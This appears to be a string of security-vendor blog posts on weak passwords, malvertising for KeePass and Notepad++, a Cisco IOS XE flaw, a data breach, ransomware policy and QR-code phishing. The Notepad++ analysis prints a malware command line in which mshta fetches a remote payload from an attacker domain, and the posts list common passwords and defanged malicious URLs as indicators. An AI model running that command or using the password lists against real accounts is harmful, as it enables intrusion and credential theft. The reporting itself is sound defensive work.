IT News

The key is under the doormat by the front door.

The administrator password is “admin”.

These are easy to remember clues when you are providing entrance to someone you trust. The problem is that they are also enormously easy to guess. It’s where we would expect an unwanted visitor to check first, before breaking out the toolbox.

Random end users could be forgiven for relying on such obviously insecure habits, but what about professionals who job it is to keep things safe and secure? Research has revealed that IT administrators are just as likely to do the tech equivalent of putting the key under the mat as end users, with both groups using similarly predictable passwords.

The top 10 passwords assembled by the researchers looks like this:

1. 1. Admin
   2. 123456
   3. 12345678
   4. 1234
   5. Password
   6. 123
   7. 12345
   8. admin123
   9. 123456789
   10. adminisp

The first 10 entries in a password dictionary we found online:

1. 1. 123456
   2. Password
   3. 12345678
   4. Qwerty
   5. 12345
   6. 123456789
   7. Letmein
   8. 1234567
   9. Football
   10. iloveyou

Part of the popularity of passwords like admin, password, and 12345 might lie in the fact that they are often used as defaults. You know, the ones used during an initial setup that are supposed to be changed. Default passwords, even if they are more complex, have the huge disadvantage that they can be found by simply looking up the product documentation in a search engine.

For that reason, using default passwords is considered a serious security risk. There are three different types of password attack that will discover passwords like admin or 12345 almost immediately:

• Password spraying uses short lists of the most well known passwords on as many computers as possible.
• Credential stuffing looks for reused passwords by trying usernames and passwords from breached websites.
• Dictionary attacks look for passwords by trying password dictionaries of common words.

Do you see the resemblance? Added with a little knowledge about the required length of the password, the attacker is going to have a field day. They wouldn’t even need a program to try these options. This can easily enough be done manually.

There is one glimmer of hope remaining after we read this. We hope that IT administrators know that passwords alone are not secure enough for important assets and will have added an extra layer of security in the form of multi-factor authentication (MFA).

As I wrote before, and will probably repeat in the future, multi-factor authentication is so much more secure, and with that a lot more forgiving, than passwords alone. I would not recommend it, but writing down your password on a Post-It and pasting it on your monitor won’t do an attacker any good if you have set up your MFA properly. Also not recommended, but you could even re-use your weak password on every site, as long as all those accounts were protected with the most effective form of MFA.

So, dear IT administrators, we can only hope that MFA is your defense strategy. But you should realize that by making your passwords so easy to guess, it doesn’t really deserve to be categorized as “multi” factor authentication, because you are giving the first factor away.

Your access rights are something that any cybercriminal would love to take over. Think of what they might be able to do, by being able to log in as you, so don’t give them that chance. Don’t be the weak link. While end users sometimes complain about the hassle of using a password manager, they shouldn’t really be a problem for you. Be a shining example.

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IT-SA Expo & Congress claims to be Europe’s largest trade fair for IT security. And it really covers a wide range of security and security-related products and services. The event takes place in Nuremberg, Germany and provides an opportunity for vendors to show themselves to the public, create new contacts and leads, and check out what the competition is up to.

As one of the Malwarebytes representatives, I had the opportunity to walk around, talk to people, and listen to some of the talks given by representatives from throughout the industry.

All in all, I observed a lot of talks, and of the ones I heard that weren’t about promoting a product, most of them roughly fell into 3 categories: Ransomware, AI/ChatGPT, and NIS2.

Ransomware

Ransomware is still considered the most alarming cybersecurity threat to businesses, which isn’t surprising given that Germany is regularly in the top five most targeted countries in our monthly ransomware reviews, which often makes it the first country on the list where English is not the primary language. As one of Europe’s leading economies there is some serious money to be made by the cybercriminals.

The focus in ransomware developments is the shift in attention to the earlier stages of the attacks. By the time files are being encrypted, attackers have probably already been in situ for a while, moving laterally through the victim’s network and stealing their data. Some ransomware gangs even stop here and don’t proceed to encryption anymore. Encryption routines are easy to detect and stop, but spotting the suspicious behavior the precedes it turns out to be much harder.

AI and ChatGPT

AI, and ChatGPT in particular, are very much at the forefront of everyone’s attention. Mostly because we are curious, maybe even a bit anxious, to see what the future will bring.

As distinguished researcher Mikko Hyppönen explained, it’s not the tool we should be worried about, but the intentions of its users. Yes, artificial intelligence can find zero-days. Is that great because we can use to find vulnerabilities that need patching, or is it awful, because it will allow the cybercriminals to find vulnerabilities and exploit them?

And another researcher told us that after the introduction of ChatGPT and its peers, they noticed a 27% increase in the linguistic complexity of phishing emails. The times where we could spot the phisher by looking at the number of typo’s might be behind us. LLM’s allow phishers to create long, error-free emails that first gain the trust of the target and then get them to open an attachment or click a link.

NIS2

The NIS2 Directive is EU-wide legislation on cybersecurity. Its purpose is to heighten the security levels for critical infrastructure in the European Union.

Businesses identified by the member states as operators of essential services in sectors such as energy, transport, water, banking, financial market infrastructures, healthcare, and digital infrastructure, will have to take appropriate security measures and notify relevant national authorities of serious incidents. Key digital service providers, such as search engines, cloud computing services, and online marketplaces, will have to comply with the security and notification requirements under the directive.

NIS2 has to be turned into laws by EU member states, which means it can be incorporated differently in every member state to functionally harmonize with local legislation. In Germany the third draft bill was presented in September 2023. So, while it’s slowly shaping up there is nothing definite about what will be included in the final draft.

A few things have been in all three drafts and seem likely to survive the cut. As a result, there was a lot of speculation, but nobody exactly knows what is going to happen. The NIS Implementation Act is scheduled to be announced in March 2024 and then come into force in October 2024 if everything goes as planned.

To anyone who I had the pleasure of meeting at IT-SA, I hope you had a successful event and let’s meet again some time.

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Threat actors are known for impersonating popular brands in order to trick users. In a recent malvertising campaign, we observed a malicious Google ad for KeePass, the open-source password manager which was extremely deceiving. We previously reported on how brand impersonations are a common occurrence these days due to a feature known as tracking templates, but this attack used an additional layer of deception.

The malicious actors registered a copycat internationalized domain name that uses Punycode, a special character encoding, to masquerade as the real KeePass site. The difference between the two sites is visually so subtle it will undoubtably fool many people.

We have reported this incident to Google but would like to warn users that the ad is still currently running.

Malicious ad for KeePass

The malicious advert shows up when you perform a Google search for ‘keepass’, the popular open-source password manager. The ad is extremely deceiving as it features the official Keepass logo, URL and is featured before the organic search result for the legitimate website.

By simply looking at the ad, you would have no idea that it is malicious. 

Figure 1: Malicious ad for KeePass followed by legitimate organic search result

People who click on the ad will be redirected via a cloaking service that is meant to filter sandboxes, bots and anyone not deemed to be a genuine victim. The threat actors have set up a temporary domain at keepasstacking[.]site that performs the conditional redirect to the final destion:

Figure 2: Network traffic showing the sequence of redirects upon clicking the ad

ķeepass.info

Looking at the network traffic log above, we can see that the destination site uses Punycode, a special encoding to convert Unicode characters to ASCII. The deception is complete for users who may want to verify that they are on the right website.

Figure 3: The fake KeePass site with a barely noticeable different font

While it is barely noticeable, there is a small character under the ‘k’. We can confirm it by converting the internationalized domain name xn--eepass-vbb[.]info to ķeepass[.]info:

Figure 4: Converting Punycode to ASCII

Decoy site links to malicious download

While the decoy site is not an exact replica of the real one, it still looks very convincing:

Figure 5: Comparing the legitimate site (left) with the fake one (right)

Victims wanting to download KeePass will retrieve a malicious .msix installer that is digitally signed:

Figure 6: The malicious MSIX installer showing a valid digital signature

Extracting the installer’s content reveals malicious PowerShell code that belongs to the FakeBat malware family:

Figure 7: The contents of the MSIX installer

This script communicates with the malware’s command and control server to advertise the new victim before downloading a payload that sets the stage for future recon by human threat actors.

Figure 8: Process view showing execution of the MSIX installer

A more sophisticated threat

While Punycode with internationalized domain names has been used for years by threat actors to phish victims, it shows how effective it remains in the context of brand impersonation via malvertising. Users are first deceived via the Google ad that looks entirely legitimate and then again via a lookalike domain.

As we have noted recently, malvertising via search engines is getting more sophisticated. For end users this means that it has become very important to pay close attention where you download programs from and where you should avoid them. In a business environment, we recommend IT admins provide internal repositories where employees can retrieve software installers safely.

Indicators of Compromise

Ad domain/redirect

keepasstacking[.]site

Fake KeePass site

xn--eepass-vbb[.]info

Malicious KeePass download URL

xn--eepass-vbb[.]info/download/KeePass-2.55-Setup.msix

Malicious KeePass installer

181626fdcff9e8c63bb6e4c601cf7c71e47ae5836632db49f1df827519b01aaa

Malware C2

756-ads-info[.]xyz

Payload

refreshmet[.]com/Package.tar.gpg

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An authentication bypass affecting Cisco IOS X was disclosed on October 16, 2023. Researchers have found since then that the vulnerability is widely being exploited in the wild to help install implants on affected switches and routers.

Cisco IOS XE is a universally deployed Internetworking Operating System (IOS) that enables model-driven programmability, application hosting, and configuration management, helping to automate day-to-day tasks.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. The vulnerability at hand is listed as:

CVE-2023-20198 (CVSS score 10 out of 10: Cisco is aware of active exploitation of a previously unknown vulnerability in the web UI feature of Cisco IOS XE Software when exposed to the internet or to untrusted networks. This vulnerability allows a remote, unauthenticated attacker to create an account on an affected system with privilege level 15 access. The attacker can then use that account to gain control of the affected system.

What Cisco failed to mention was that thousands of internet-facing IOS XE systems have been implanted. The researchers scanned internet-facing Cisco IOS XE web interfaces and found thousands of implanted hosts.

Cisco has also yet to publish a list of affected devices, but if you are using Cisco switches, routers or Wireless LAN Controllers, you should assume they are vulnerable.

The implants that were found enable the attacker to communicate with the compromised device and use that ability to monitor web traffic, perform lateral movement in the network, or use them for a machine-in-the-middle attack.

The Cisco Talos team discovered there were malicious activities correlated with this vulnerability as early as September 18, 2023.

Mitigation

This vulnerability affects Cisco IOS XE Software if the web UI feature is enabled. The web UI feature is enabled through the ip http server or ip http secure-server commands.

To determine whether the HTTP Server feature is enabled for a system, log in to the system and use the show running-config | include ip http server|secure|active command in the CLI to check for the presence of the ip http server command or the ip http secure-server command in the global configuration. If either command is present, the HTTP Server feature is enabled for the system.

Cisco strongly recommends that customers disable the HTTP Server feature on all internet-facing systems. To disable the HTTP Server feature, use the no ip http server or no ip http secure-server command in global configuration mode. If both the HTTP server and HTTPS server are in use, both commands are required to disable the HTTP Server feature.

While a patch is not yet available, it is advisable to protect your organization by disabling the web interface and removing all management interfaces from the internet immediately. Which is always good advice.

The Cybersecurity & Infrastructure Security Agency (CISA) has added the vulnerability to its Known Exploited Vulnerabilities Catalog, based on the evidence of active exploitation. This means all Federal Civilian Executive Branch Agencies (FCEB) have to verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 (Mitigating the Risk from Internet-Exposed Management Interfaces) and apply mitigations per Cisco’s instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), organizations must follow Cisco’s instructions to determine if a system may have been compromised and immediately report positive findings to CISA before October 20,2023.

Organizations should look for unexplained or newly created users on devices as evidence of potentially malicious activity relating to this threat. One method to identify if the implant is present is to run the following command against the device, where the “{DEVICEIP}” portion is a placeholder for the IP address of the device to check: 

curl -k -X POST “https://{DEVICEIP}/webui/logoutconfirm.html?logon_hash=1”

Note: The above check should use the HTTP scheme if the device is only configured for an insecure web interface. If the request returns a hexadecimal string, the implant is present.

We don’t just report on vulnerabilities—we identify them, and prioritize action.

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Cybersecurity could be as easy as 1-2-3.

The problem, though, is that people have to want it.

In new research conducted by Malwarebytes, internet users across the United States and Canada admitted to dismal cybersecurity practices, failing to adopt some of the most basic defenses for staying safe online. And while some of the fault lies with the public, some also lies with the cybersecurity industry, which, according to the same research, has released products that people do not understand, do not trust, and, most concerningly, do not use for their intended benefits.

For our latest report, “Everyone’s afraid of the internet and no one’s sure what to do about it,” we surveyed 1,000 people, aged 13 to 77, about their cybersecurity and online privacy beliefs and behaviors. When asked specifically about the tools and methods that people use to protect themselves online, we found, disappointingly, that:

• Just 35 percent of people use antivirus software.
• Just 24 percent of people use multi-factor authentication.
• Just 15 percent of people use a password manager.
• Just 35 percent of people have unique passwords for most or all of their accounts.

There’s no denying the ugly truth here: These numbers are too low.

Optimistic interpretations do exist—perhaps some members of the public unknowingly have antivirus protections on their devices or they perhaps use device-provided password managers without knowing the name of the technology behind it—but other statistics point to a lack of trust and a high rate of apathy towards cybersecurity defenses overall.

For everyone interested in meaningful, simple cybersecurity, here are three things you can do right now.

1. Create and store unique passwords for each account with the help of a password manager

Strong passwords are a two-part problem: They must be unique for every online account, and they must be remembered.

Creating strong, unique passwords is simple enough, as any person can throw a cat at a keyboard and likely fulfill the password requirements for most online accounts. Uppercase and lowercase letters? Special characters? Numbers? No addresses, pet names, or usernames? These specifications are no match for “vn;aeo&d8ey38dD” (No cats were harmed in the creation of this password).

But remembering that password—and remembering every password like it—is physically impossible, as the number of online accounts and associated passwords that the average person can recall from memory is just a handful. 

In fact, there is plenty of research that shows that people have trouble remembering unique passwords for just 13 separate accounts, and that the people have far more trouble remembering 4 – 6 passwords compared to 1 – 3.

But the modern internet doesn’t care about mental limitations. Instead, it demands an increasing number of accounts and passwords to manage for each person. According to research from the password manager LastPass, the average small business user has 85 passwords, and according to older research in 2015 from another password manager, Dashlane, an average user then had at least 90 accounts.

The results of this constant tension are reflected in Malwarebytes’ latest report:

• 24 percent use the same password, if possible, across all or most accounts
• 41 percent have a few passwords they use across accounts

The most obvious solution to this first part of the password problem, then, is a password manager. Password managers can create and store strong, unique passwords for all your accounts, and they can interact directly with web browsers so that you don’t need to individually open the password manager app every time you log into a service.

Unfortunately, Malwarebytes’ research shows that password manager use is exceedingly low:

• 15 percent of all respondents use a password manager
• 9 percent of Gen Z respondents use a password manager
• 18 percent of non-Gen Z respondents use a password manager

Get a password manager and start using it specifically to create and store unique passwords across all your accounts. You physically cannot practice strong password security without one (unless you go the paper-and-pencil route, which is an entirely different conversation).

But once you have a password manager, don’t stop there…

2. Use multi-factor authentication (MFA)

There are two statistics that matter for multi-factor authentication (MFA).

The first statistic was released in 2019, when Microsoft’s Group Program Manager for Identity Security and Protection Alex Weinert said: “Based on our studies, your account is more than 99.9 percent less likely to be compromised if you use MFA.”

The second statistic was released this month, when Malwarebytes found that only 24 percent of people use MFA. That number drops to 16 percent for Gen Z.

MFA tackles the problem of password abuse in a very different way than password managers and password creation.

MFA does not care if your password sucks. MFA will not make you use any special characters or numbers or uppercase or lowercase letters. MFA doesn’t require you to “remember” anything.

Instead, MFA stands between your account and the abuse of your password by requiring you to enter another form of authentication—other than a password—to log in. That means that even if a cybercriminal has your login information for your bank, that alone would not be enough to gain access. Instead, your bank would ask for a second form of authentication, which is typically a six-digit passcode that is sent to your device through a text message or email, or it is generated by your device with a separate app.  Once you enter that passcode, only then are you allowed entry.

MFA is available on nearly every single critical type of online account today, and it should be used for the services that hold your most sensitive information, including your email, social media, and online banking.

3. Use antivirus

Ask a cybersecurity writer (me) how it feels to learn that just 35 percent of people use antivirus and you’ll hear an answer: “Not great.”

Ask the same cybersecurity writer how it feels to learn that just 17 percent of Gen Z use antivirus and you’ll hear a different answer: “Ah, sh*t.”

The public are not entirely to blame. As Malwarebytes discovered in its latest report, it is not that the public do not care about cybersecurity and online threats—it is that they do not know entirely how to stay safe, or how cybersecurity tools protect them.

As Malwarebytes found:

• 41 percent agreed or strongly agreed with the statement: “I don’t fully understand how different cybersecurity products can protect me.”
• 37 percent agreed or strongly agreed with the statement: “Cybersecurity products only really help with things like viruses and malware.”
• 25 percent agreed or strongly agreed with the statement “There’s no point in using cybersecurity products since there are too many online threats.”

The cybersecurity industry should learn from this. We are failing to speak plainly about security tools, failing to explain how malware can be detected through its delivery in malicious websites that are blocked by online tools like BrowserGuard, and failing to show how digital consequences, like account compromise, identity theft, and credit card fraud, are strictly connected to well-known threats like credential stuffing and data theft. 

Particularly upsetting is that sometimes, even the users of online security and privacy tools have the wrong impression about those tools.

As Malwarebytes found, 22 percent of people use a VPN specifically to “help stop viruses/malware from getting on my device”—a function that VPNs do not provide. (In rare circumstances, some malware avoids detonation based solely on IP addresses, but that is an exception for the average user.)

Antivirus works. We know you may consider Malwarebytes a biased speaker, but the fact still stands. Every year, Malwarebytes detects and removes millions of viruses, Trojans, adware infections, monitoring tools, and more from user devices around the world. Importantly, behind nearly every detection is an attempt to harm you, the user. 

Don’t fall for the easy path of apathy. Take three simple steps to stay safe.

Read the report

As the White House prepares to host its annual International Counter Ransomware Initiative (CRI) summit, Bloomberg reports that the US is pushing other countries to stop paying ransoms to cybercriminals.

The CRI wants to enhance international cooperation to combat the growth of ransomware, and its 47 members will convene in Washington for its annual summit on October 31, 2023.

“The work of the CRI supports the implementation of the endorsed UN framework for responsible state behavior in cyberspace, specifically the voluntary norm that States should cooperate to exchange information, assist each other, prosecute terrorist and criminal use of ICTs and implement other cooperative measures to address such threats.”

White House Deputy National Security Adviser Anne Neuberger said ransomware payment bans have been a topic of discussion among members of the CRI, and she noted that several other countries have also raised the issue, but no decisions have been made.

The reasoning is very understandable. Ransomware has grown to be a formidable industry over the years and if it was possible to stop the cashflow in that direction, it would soon collapse. Not only would the seasoned criminals turn to other sources of income, the entry-level jobs would disappear and the funds for research into new tactics would dry up.

If an agreement is reached, this would only bind government organizations, but even that could potentially have a large impact. Other experts believe that the energy spent on achieving this would be more effectively spent on helping less well-equipped governments improve their cyber-defenses.

If we could eliminate the low-effort attacks on long-known vulnerabilities where patches are available but unapplied, this could have at least the same kind of impact.

And to be fair, several US states have banned local government entities from paying ransoms connected to attacks. So far, this really hasn’t stopped them from being targeted. In 2021, The FBI even advised against making ransom payments illegal because it would only open up another avenue of extortion.

One might think that now that most organizations have their backup strategies sorted out, it shouldn’t be too hard to convince victims not to pay the ransom. Unfortunately many ransomware gangs have adapted the double extortion strategy where stolen data extracted from the victim’s systems during the attack is used as extra leverage. And when sensitive data is stolen, having a backup does not take away the threat.

Also, it’s not fair to think that all government organizations in the member states have their security and backup strategy at the required level to safely survive a ransomware attack. But we feel it is true that they should be setting an example by investing in their security posture and by refusing to pay the criminals.

Neuberger said that she would like participating governments to publicly commit to not make ransom payments, but if members can’t agree to the statement in advance of the meeting, then it will be included as a discussion point.

How to avoid ransomware

• Block common forms of entry. Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
• Prevent intrusions. Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
• Detect intrusions. Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
• Stop malicious encryption. Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
• Create offsite, offline backups. Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
• Don’t get attacked twice. Once you’ve isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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Cloud infrastructure provider Shadow has warned of the data theft of over 500,000 customers. The customers were informed by a breach notification which was posted online.

Cloud is known in the gaming world and, among other things, allows gamers to play resource heavy games on lower-end devices,

The stolen data includes full customer names, email addresses, dates of birth, billing addresses, and credit card expiration dates. According to Shadow, no passwords or sensitive banking data have been compromised.

Shadow says the incident happened at the end of September, and was the result of a social engineering attack on a Shadow employee. The attack began on the Discord platform after the employee downloaded malware he believed to be a game on the Steam platform.

Shadow says that despite swift countermeasures, the attackers were able to use one or more of the cookies they had stolen in order to connect to the management interface of one of Shadow’s SaaS providers. From there the attackers were able to steal the data from Shadow by using their Application Programming Interface (API) access.

According to BleepingComputer, a cybercriminal claiming responsibility for the attack is selling the stolen database on a well-known hacking forum.

image courtesy of BleepingComputer

In the message, the cybercriminal says IP connection logs were also stolen in the breach in addition to the other data mentioned by Shadow.

It is unclear, although likely, whether Shadow has reached out to everyone involved. Shadow recommends that users set up multi-factor authentication (MFA) on their accounts, and watch out for any emails that appear to come from Shadow, as they could be phishing attempts.

The company is also telling users to contact customer service with any questions or concerns.

Data breach

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable multi-factor authentication (MFA). This is good advice from Shadow, and something we always advise. If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of multi-factor authentication can be phished just as easily as a password. MFA that relies on a FIDO2 device can’t be phished.
• Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
• Take your time. As Shadow warns, phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

In recent weeks, we have noted an increase in malvertising campaigns via Google searches. Several of the threat actors we are tracking have improved their techniques to evade detection throughout the delivery chain.

We believe this evolution will have a real world impact among corporate users getting compromised via malicious ads eventually leading to the deployment of malware and ransomware.

In this blog post, we look at a malvertising campaign that seems to have flown under the radar entirely for at least several months. It is unique in its way to fingerprint users and distribute time sensitive payloads.

Malicious ads for Notepad++

The threat actor is running a campaign targeting Notepad++, a popular text editor for Windows as well as similar software programs such as PDF converters. The image below is a collage of malicious ads we observed recently, all run by the same threat actor but via different ad accounts, likely compromised.

A first level of filtering happens when the user clicks on one of these ads. This is likely an IP check that discards VPNs and other non genuine IP addresses and instead shows a decoy site:

However, intended targets will see a replica of the real Notepad++ website hosted at notepadxtreme[.]com:

Fingerprinting for VM detection

A second level of filtering happens when the user clicks on the download link where JavaScript code performs a system fingerprint. We had previously observed some malvertising campaigns check for the presence of emulators or virtual machines and this is what happens here also, although the code being used is different and more complex.

If any of the checks don’t match, the user is being redirected to the legitimate Notepad++ website. Each potential victim is assigned a unique ID that will allow them to download the payload.

Custom, time-sensitive download

Another thing that sets apart this campaign from others is the way the payload is being downloaded. Each user is given a unique ID with the following format:

CukS1=[10 character string][13 digits]

This is likely for tracking purposes but also to make each download unique and time sensitive.

Unlike other malvertising campaigns the payload is a .hta script. It follows the same naming convention seen above with the download URL:

Notepad_Ver_[10 character string][13 digits].hta

Attempting to download the file again from the same URL results in an error:

.HTA Payload

The .hta file we captured during our investigation was not fully weaponized. However, we were able to find another one that was uploaded to VirusTotal in early July. It uses the same naming convention and we can see the lure was “PDF Converter” instead of Notepad++.

The script is well obfuscated and shows 0 detection on VirusTotal. However, upon dynamic analysis, there is a connection to a remote domain (mybigeye[.]icu) on a custom port:

C:WindowsSysWOW64mshta.exe "C:WindowsSystem32mshta.exe" 
https://mybigeye .icu:52054/LXGZlAJgmvCaQfer/rWABCTDEqFVGdHIQ.html?client_id=jurmvozdcf1687983013426#he7HAp1X4cgqv5SJykr3lRtaxijL0WPB6sdGnZC9IouwDKf8OEMQTFNbmYzU2V+/=

We also notice it uses the same client_id stored in the filename when making that remote connection.

While we don’t know what happens next, we believe this is part of malicious infrastructure used by threat actors to gain access to victims’ machines using tools such as Cobalt Strike.

Innovation makes malvertising a greater threat

We have observed an increase in the volume of malvertising campaigns but also in their sophistication over the past several months. Threat actors are successfully applying evasion techniques that bypass ad verification checks and allow them to target certain types of victims.

With a reliable malware delivery chain in hand, malicious actors can focus on improving their decoy pages and craft custom malware payloads. This is another space where we see some innovation and where security vendors are currently running behind.

Threat intelligence is a critical part of a defensive strategy to better understand the threat landscape in order to protect users. For example, tracking malicious ads allows us to quickly identify the infrastructure used by threat actors and immediately block it. Following the malware delivery chain shows us any new techniques that may bypass current security products and helps us to adjust our detections accordingly.

Indicators of Compromise

Ad domains:

switcodes[.]com
karelisweb[.]com
jquerywins[.]com
mojenyc[.]com

Fake Notepad++ site:

notepadxtreme[.]com

Script C2:

mybigeye[.]icu

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Last week on Malwarebytes Labs:

• Explained: Quishing
• Update now! Atlassian Confluence vulnerability is being actively exploited
• Giant health insurer struck by ransomware didn’t have antivirus protection
• Ransomware review: October 2023
• Stalkerware activity drops as glaring spying problem is revealed
• CISA catalog passes 1,000 known-to-be-exploited vulnerabilities. Celebration time, or is it?
• 23andMe user data stolen, offered for sale
• AI sneak attacks, location spying, and definitely not malware, or, what one teenager fears online: Lock and Code S04E21
• Upgrading your Android device? Read this first

Stay safe!

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Quishing is phishing using QR (Quick Response) codes. QR codes are basically two-dimensional barcodes that hold encoded data, and they can be used to work as a link. Point your phone’s camera at a QR code and it will ask you if you want to visit the link.

The use of QR codes in malicious campaigns is not new, and because they can provide contactless access to a product or service they grew in popularity during the Covid-19 pandemic.

In August, 2023 we wrote about an email campaign that used QR codes to phish for Microsoft credentials. The links in the QR codes redirected from legitimate domains associated with Bing, Salesforce, and Cloudflare to send the targets to phishing sites that were after Microsoft credentials. Since the subject of the emails were often fake Microsoft security notifications, the Bing URLs would not have looked out of place to any victims who gave them a cursory examination.

Lately, there has been an increase in quishing emails, which either send victims to malware-infested sites or ones looking for credentials. 

The usual methods are used to make the emails look convincing: The email will pretend to come from a bank or another organization you trust, or might look like internal mails from the organization you work for, perhaps pretending to come from HR or the IT department. The QR codes in these mails are either embedded or sent as an attachment.

Most of the email contains little to no text, which reduces the chances of the scammer making a mistake and gives spam filters less to read. The message is displayed in an image, which also helps the email get through spam filters.

Example

I personally received a quishing mail pretending to be from the KVK (the Dutch Chamber of Commerce), telling me I had to request a digital key within the next 3 days or my company would be registered as inactive.

As you can see, a lot of the normal signs by which we can recognize a phishing mail are there:

• Urgency
• A link leading to a site to fill out personal information
• Sloppy lay-out of the mail

I was also able to recognize it as false because the sender address didn’t belong to the organization it claimed to be from.

The QR code contained a link to the lihi1.com URL shortener which pointed me to a clone of the KVK site.

It asked for my name, birth date, address, mobile phone number, my KVK registration number and my bank account number. A succesfull phisher can probably sell that data for a few bucks on the dark web.

To stay safe from quishing, you can follow the same advice we provide for phishing, because that’s what it is. It’s just that the method to obfuscate the phishing site is a bit more sophisticated, which also makes the use of it more suspicious.

One extra measure you can take is to install a QR code scanner that doesn’t take you to the destination in the URL, but displays it for you, so you can decide whether you want to proceed.

Stay alert for hallmarks of phishing campaigns, such as a sense of urgency, appeals to your emotions. Be extremely wary if a QR code takes you to a site that asks for personal information, login credentials or payment.

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